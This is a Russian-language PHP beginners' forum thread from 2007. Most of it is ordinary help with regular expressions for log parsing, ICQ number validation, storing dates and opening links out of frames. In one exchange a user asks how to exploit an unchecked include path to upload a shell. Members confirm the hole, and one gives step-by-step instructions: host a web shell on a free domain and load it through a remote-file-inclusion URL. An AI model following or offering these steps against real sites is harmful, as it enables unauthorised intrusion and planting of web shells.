[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Demetra

    Demetra Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    48
    Likes Received:
    8
    Reputations:
    0
    понятна,не я так не делаю.
     
  2. InvisHero

    InvisHero Banned

    Joined:
    12 Nov 2007
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Привет, в php скрипте, есть сл. код:
    PHP:
    require_once $include_path."/include/config.inc.php"
    Переменная "$include_path", никак не проверяется, т.е. я могу выполнить следующее:
    target.php?include_path=http://somehost.ru
    при условии, что на somehost.ru, есть "/include/config.inc.php".

    Насколько я понял, подобная уязвимость описывается тут, но мне не совсем понятно, что нужно делать =/

    Вопрос: что с этим делать дальше?
    Как можно залить шел?
     
  3. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Для начала тебе надо было задавать вопрос тут http://forum.antichat.ru/thread46016.html

    Да ты прав бага есть и юзать ты можешь так как ты и сказал =) Ну а как шелл залить надеюсь догадаешься...
     
    #863 Dr.Z3r0, 12 Nov 2007
    Last edited: 31 May 2011
  4. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Насчет register_globals I-I()/Ib по идее правильно сказал, но есть куча функций, которые глобализируют переменную, это неплохо описал гемаглобин, а при хорошем раскладе (т.е. ты можешь в реквест пользовать эту переменную) ты можешь сделать следующее

    зарегить на народе доменчик какой нить, ну например shell-dla-includa.narod.ru


    создать там папку /include/ и в эту папку записать шелл и назвать его config.inc.php


    далее через эту багу его подключить....target.php?include_path=http://shell-dla-includa.narod.ru
     
  5. InvisHero

    InvisHero Banned

    Joined:
    12 Nov 2007
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    я именно так и делаю, но "config.inc.php", выполняется на удалённом сервере, а не на первичном.
     
  6. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    ет народ.. позно уже голова не варит....
    Помогите собрать регулярное выражение
    Регулярка на айпи, дату, запрос
    П.С. Мне просто надо чтоб он(скрипт) выводил всьо ето красиво и табличках(логи)
     
  7. InvisHero

    InvisHero Banned

    Joined:
    12 Nov 2007
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Всем спасибо)
     
  8. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Dimi4, ну мну делалбы без регулярок... Токо это мну! А ты как хош :)
    Просто explode по пробелам...
    PHP:
    <?
    $s '192.168.101.215 - - [12/Nov/2007:18:28:32 +0300] "GET / HTTP/1.1" 200 4570';
    $s explode(' ',$s);
    echo 
    "IP: {$s[0]}<br>
    Date: 
    {$s[3]} {$s[4]}<br>
    Query: 
    {$s[5]} {$s[6]} {$s[7]}";
    ?>
    Хотя да... Криво получается... Но т.к. я регулярки незнаю, удачи :)
     
    1 person likes this.
  9. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    PHP:
    <?php

    $line 
    '192.168.101.215 - - [12/Nov/2007:18:28:32 +0300] "GET / HTTP/1.1" 200 4570';

    if (!
    preg_match('/(.*) - - \[(.*)\] "(.*)" [\d]+ [\d]+/ius'$line$match)) return false;

    print(
    "<pre>");
    printf("IP Address: %s\n"$match[1]);
    printf("Date: %s\n"$match[2]);
    printf("Query: %s\n"$match[3]);
    print(
    "</pre>");

    ?>
     
    1 person likes this.
  10. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    кстати о регулярках. дайте мануал по составлению регулярных выражений. для тупых.
     
  11. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    http://ru.php.net/manual/ru/ref.pcre.php
    http://ru.php.net/manual/ru/reference.pcre.pattern.syntax.php
    http://ru.php.net/manual/ru/reference.pcre.pattern.modifiers.php
     
  12. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    http://www.codenet.ru/cat/Languages/PHP/Regular-Expressions/
     
  13. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Я лично после того поста решил их тож выучить, и нащёл отличный мануал
    http://phpclub.ru/detail/article/regexp_1
    Рекомендую имено его :)
     
  14. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    Блин, прям в тему попал.
    Тоже с регулярами беда, почитал мануалы, но чё-то всё равно не получается....с проверкой логина, и мыла разобрался, но с цифрами не могу чёт никак.
    Значит есть некая форма куда вводится номер icq, далее в обработчике проверка на то чтобы в номере содержались только цифры от 0 до 9 и знак дефиса -
    В любом случае выводит что номер введён неверно...
    Непоминаю что не так
     
  15. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    PHP:
    <?php

        $icq 
    "123-123";
        
    $icq str_replace("-"""$icq);

        if (!
    preg_match("/^[1-9][0-9]{5,9}$/"$icq))
            die(
    "Гы-гы!");

    ?>
     
    1 person likes this.
  16. XopoIII

    XopoIII Elder - Старейшина

    Joined:
    29 Oct 2007
    Messages:
    386
    Likes Received:
    30
    Reputations:
    0
    у меня проблема с занесением даты в таблицу бд
    вот форма даты:
    блин код не нажимается, буду просто писать

    <td>
    <div align="center"><b>Ваш день рождения:</b></td>
    </div>
    <td>
    <div align="center">
    <select name=birthdayDay>
    <option value="<?php echo $_POST['birthdayDay']?>">
    <?php echo $_REQUEST['birthdayDay']?>
    <?
    for ($i=1; $i<32; $i++){
    echo "<option value=\"$i\">$i</option>";
    }
    ?>
    </select>&nbsp;

    <select name=birthdayMonth>
    <option value="<?php echo $_POST['birthdayMonth']?>"><?php echo $_POST['birthdayMonth']?>
    <option value="1">Январь
    <option value="2">Февраль
    <option value="3">Март
    <option value="4">Апрель
    <option value="5">Май
    <option value="6">Июнь
    <option value="7">Июль
    <option value="8">Август
    <option value="9">Сентябрь
    <option value="10">Октябрь
    <option value="11">Ноябрь
    <option value="12">Декабрь
    </select>&nbsp;

    <select name=birthdayYear>
    <option value="<?php echo $_POST['birthdayYear']?>"><?php echo $_POST['birthdayYear']?>
    <?
    for ($i=1950; $i<2002; $i++){
    echo "<option value=\"$i\">$i</option>";
    }
    ?>
    </div>
    </select>
    </td>

    после нажития регистрация переходит на страничку в которой обрабатываю запрос

    $birthday=$_POST["birthdayYear"]."-".$_POST["birthdayMonth"]."-".$_POST["birthdayDay"];

    и добавляю в бд

    $sql = "INSERT INTO users_reg (birthday) VALUES ('$birthday' )";
    $result = mysql_query($sql) or die ("Ошибка");;
    mysql_close($db_name);
     
  17. XopoIII

    XopoIII Elder - Старейшина

    Joined:
    29 Oct 2007
    Messages:
    386
    Likes Received:
    30
    Reputations:
    0
    <form action=***>
    это есть, просто я не написал этого суда и все
    и дата то заносится то не заносится
    в таблице поставил тип у birthday DATA хз...непонятно,Э то заносит то нет в большенстве случаев пишет 0000-00-00
     
  18. XopoIII

    XopoIII Elder - Старейшина

    Joined:
    29 Oct 2007
    Messages:
    386
    Likes Received:
    30
    Reputations:
    0
    и еще не могу разобраться с фрэймами, разделил окно на две части, в одной половине ссылка, нужно чтобы при нажатии на нее открывалось страница на весь экран, а не в этом фрэйме в котором была кнопка=( подскажите
     
  19. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    <a href="http://ya.ru" target="_blank">YA</a>
     
    1 person likes this.
  20. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    если надо в новом окне, то как показал Бульчег, если в том же, то:
    <a href=http://ya.ru target="_parent">ya</a>

    Я с датами в таком виде не работал, но и тебе не советовал бы. Рекомендую делать так:
    PHP:
    $date=mktime(date("H"),date("i"),date("s"),date("m"),date("d"),date("Y")); // текущая дата
    // в переменную date заносится количество секунд после чего-то там (непомню чего, да и неважно)
    в БД делаешь поле типа int и заносишь переменную туда. А когда досташь из базы эту дату, делаешь такое преобразование:
    PHP:
    echo date("d.m.Y",$value_from_DB);
    //ну и как понимаешь, формат d.m.Y делаешь как тебе надо
    Еще тут фишка - удобно сраванивать даты, т.к. дата - это количество секунд с чего-то там. Получается, что ты просто сравниваешь целые числа. Если есть вопросы, почитай документацию к функциям:
    date() , mktime()
     
    #880 je0n, 15 Nov 2007
    Last edited: 15 Nov 2007
    2 people like this.
Thread Status:
Not open for further replies.